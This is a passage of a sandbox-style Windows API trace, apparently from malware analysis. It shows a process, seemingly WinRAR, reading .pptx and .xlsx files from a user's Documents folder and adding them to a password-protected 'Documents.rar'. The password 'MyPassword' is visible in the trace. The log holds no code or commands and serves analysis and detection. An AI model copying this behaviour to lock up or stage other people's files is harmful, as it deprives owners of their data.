(in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x30ff1 [0067.884] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a530 [0067.884] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a560 [0067.884] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a560, Size=0x48) returned 0x39daf0 [0067.884] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0067.884] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a560 [0067.884] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a560, Size=0x48) returned 0x39db40 [0067.884] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0067.884] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0067.884] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a560 [0067.884] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a590 [0067.884] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a590 | out: hHeap=0x2e0000) returned 1 [0067.884] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a560 | out: hHeap=0x2e0000) returned 1 [0067.884] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a530, Size=0x48) returned 0x39daf0 [0067.884] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0067.884] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x69, lpOverlapped=0x0) returned 1 [0067.884] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a530 [0067.884] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x69) returned 0x3b4b590 [0067.884] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0067.884] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0067.884] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x3fd1a [0067.884] CloseHandle (hObject=0x1b0) returned 1 [0067.884] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.885] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.885] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0067.885] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.885] FindFirstFileW (in: lpFileName="19uvJahSx.pptx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0067.885] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0067.885] CreateFileW (lpFileName="19uvJahSx.pptx" (normalized: "c:\\users\\whuoxysd\\documents\\19uvjahsx.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0067.885] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0067.885] GetTickCount () returned 0xa67438 [0067.885] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0067.885] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0067.885] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.885] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0067.885] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="0XuPmKuUcJqUgUNn.pptx") returned 21 [0067.885] SetWindowTextW (hWnd=0x10280, lpString="19uvJahSx.pptx") returned 1 [0067.885] GetTickCount () returned 0xa67438 [0067.885] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0067.885] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0067.886] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0067.886] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0067.886] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x1f9)) [0067.886] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0067.886] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14322609535) returned 1 [0067.886] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x2f88, lpOverlapped=0x0) returned 1 [0067.886] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a2fc8, nNumberOfBytesToRead=0xfd078, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a2fc8*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0067.886] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a560 [0067.886] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a590 [0067.886] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a590, Size=0x48) returned 0x39db40 [0067.886] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0067.886] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a590 [0067.886] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a590, Size=0x48) returned 0x39daf0 [0067.886] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0067.886] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0067.886] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a590 [0067.886] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a5c0 [0067.886] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a5c0 | out: hHeap=0x2e0000) returned 1 [0067.886] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a590 | out: hHeap=0x2e0000) returned 1 [0067.886] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a560, Size=0x48) returned 0x39db40 [0067.886] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0067.887] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0067.887] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0067.888] GetTickCount () returned 0xa67438 [0067.888] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14322828928) returned 1 [0067.888] GetTickCount () returned 0xa67438 [0067.888] GetTickCount () returned 0xa67438 [0067.888] GetTickCount () returned 0xa67438 [0067.888] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.888] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.888] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.888] ResetEvent (hEvent=0x1a4) returned 1 [0067.888] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.889] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0067.889] ResetEvent (hEvent=0x1a4) returned 1 [0067.889] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.890] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0067.890] GetTickCount () returned 0xa67438 [0067.890] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14323005459) returned 1 [0067.890] GetTickCount () returned 0xa67438 [0067.890] GetTickCount () returned 0xa67438 [0067.890] GetTickCount () returned 0xa67438 [0067.890] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0067.890] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0067.890] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.890] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0067.890] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.890] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x3fd1a [0067.890] SetFilePointer (in: hFile=0x198, lDistanceToMove=98, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x3fd7c [0067.890] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0067.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0067.890] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0067.890] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0067.890] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0067.891] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x2fb0, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x2fb0, lpOverlapped=0x0) returned 1 [0067.891] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0067.891] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.891] SetFilePointer (in: hFile=0x198, lDistanceToMove=261402, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x3fd1a [0067.891] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x3fd1a [0067.891] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a560 [0067.891] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a590 [0067.891] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a590, Size=0x48) returned 0x39daf0 [0067.891] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0067.891] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a590 [0067.891] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a590, Size=0x48) returned 0x39db40 [0067.891] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0067.891] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0067.891] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a590 [0067.891] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a5c0 [0067.891] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a5c0 | out: hHeap=0x2e0000) returned 1 [0067.891] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a590 | out: hHeap=0x2e0000) returned 1 [0067.891] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a560, Size=0x48) returned 0x39daf0 [0067.891] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0067.891] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x62, lpOverlapped=0x0) returned 1 [0067.892] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a560 [0067.892] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x62) returned 0x3a0e60 [0067.892] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0067.892] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0067.892] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x42d2c [0067.892] CloseHandle (hObject=0x1b0) returned 1 [0067.892] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.892] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.892] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0067.892] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.892] FindFirstFileW (in: lpFileName="1dt_j0rkw.xlsx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0067.892] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0067.892] CreateFileW (lpFileName="1dt_j0rkw.xlsx" (normalized: "c:\\users\\whuoxysd\\documents\\1dt_j0rkw.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0067.892] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0067.892] GetTickCount () returned 0xa67448 [0067.892] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0067.892] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0067.892] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.892] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0067.892] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="19uvJahSx.pptx") returned 14 [0067.892] SetWindowTextW (hWnd=0x10280, lpString="1dt_j0rkw.xlsx") returned 1 [0067.892] GetTickCount () returned 0xa67448 [0067.892] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0067.892] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0067.893] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0067.893] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0067.893] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x209)) [0067.893] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0067.893] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14323429322) returned 1 [0067.894] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0xf734, lpOverlapped=0x0) returned 1 [0067.895] ReadFile (in: hFile=0x1b0, lpBuffer=0x36af774, nNumberOfBytesToRead=0xf08cc, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36af774*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0067.895] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.895] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.895] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a590 [0067.895] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a5c0 [0067.895] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a5c0, Size=0x48) returned 0x39db40 [0067.895] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0067.895] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a5c0 [0067.895] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a5c0, Size=0x48) returned 0x39daf0 [0067.895] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0067.895] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0067.895] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a5c0 [0067.895] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a5f0 [0067.895] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a5f0 | out: hHeap=0x2e0000) returned 1 [0067.895] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a5c0 | out: hHeap=0x2e0000) returned 1 [0067.895] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a590, Size=0x48) returned 0x39db40 [0067.895] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0067.895] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0067.895] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0067.895] GetTickCount () returned 0xa67448 [0067.895] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14323568552) returned 1 [0067.895] GetTickCount () returned 0xa67448 [0067.895] GetTickCount () returned 0xa67448 [0067.895] GetTickCount () returned 0xa67448 [0067.895] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.895] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0067.895] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.896] ResetEvent (hEvent=0x1a4) returned 1 [0067.896] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.903] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0067.903] ResetEvent (hEvent=0x1a4) returned 1 [0067.903] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.905] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0067.905] GetTickCount () returned 0xa67448 [0067.905] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14324513009) returned 1 [0067.905] GetTickCount () returned 0xa67448 [0067.905] GetTickCount () returned 0xa67448 [0067.905] GetTickCount () returned 0xa67448 [0067.905] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0067.905] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0067.905] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.905] ResetEvent (hEvent=0x190) returned 1 [0067.905] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.906] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0067.906] ResetEvent (hEvent=0x190) returned 1 [0067.906] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.907] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0067.907] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0067.907] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.907] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x42d2c [0067.907] SetFilePointer (in: hFile=0x198, lDistanceToMove=98, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x42d8e [0067.907] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0067.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0067.907] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0067.907] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0067.907] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0067.907] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0xf7b0, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0xf7b0, lpOverlapped=0x0) returned 1 [0067.908] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0067.908] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.908] SetFilePointer (in: hFile=0x198, lDistanceToMove=273708, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x42d2c [0067.908] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x42d2c [0067.908] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a590 [0067.908] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a5c0 [0067.908] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a5c0, Size=0x48) returned 0x39daf0 [0067.908] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0067.908] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a5c0 [0067.908] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5a5c0, Size=0x48) returned 0x39db40 [0067.908] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0067.908] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0067.908] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a5c0 [0067.908] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b5a5f0 [0067.908] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a5f0 | out: hHeap=0x2e0000) returned 1 [0067.908] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b5a5c0 | out: hHeap=0x2e0000) 